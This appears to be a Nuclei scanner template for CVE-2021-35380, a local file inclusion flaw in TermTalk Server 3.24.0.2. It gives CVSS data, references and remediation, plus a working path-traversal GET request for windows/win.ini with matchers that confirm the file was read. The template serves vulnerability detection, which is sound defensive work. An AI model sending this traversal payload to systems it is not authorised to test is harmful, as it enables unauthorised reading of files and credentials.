46 lines
1.7 KiB
YAML
46 lines
1.7 KiB
YAML
id: CVE-2021-35380
|
|
|
|
info:
|
|
name: TermTalk Server 3.24.0.2 - Local File Inclusion
|
|
author: fxploit
|
|
severity: high
|
|
description: |
|
|
TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
|
|
impact: |
|
|
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
|
|
remediation: |
|
|
Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.
|
|
reference:
|
|
- https://www.swascan.com/solari-di-udine/
|
|
- https://www.exploit-db.com/exploits/50638
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-35380
|
|
- https://www.swascan.com/it/security-blog/
|
|
- https://github.com/anonymous364872/Rapier_Tool
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-35380
|
|
cwe-id: CWE-22
|
|
epss-score: 0.23467
|
|
epss-percentile: 0.96147
|
|
cpe: cpe:2.3:a:solari:termtalk_server:3.24.0.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: solari
|
|
product: termtalk_server
|
|
tags: cve2021,cve,termtalk,lfi,unauth,lfr,edb,solari
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/file?valore=../../../../../windows/win.ini"
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "bit app support"
|
|
- "fonts"
|
|
- "extensions"
|
|
condition: and
|
|
# digest: 490a0046304402201049687d7055f539322e4410a7114608b1866683ac30c589fc9f8b1207b39bac022031fcf5d29996d0c09d94724b89f5f871ca1112d0c801d367951c80f2f395de11:922c64590222798bb761d5b6d8e72950 |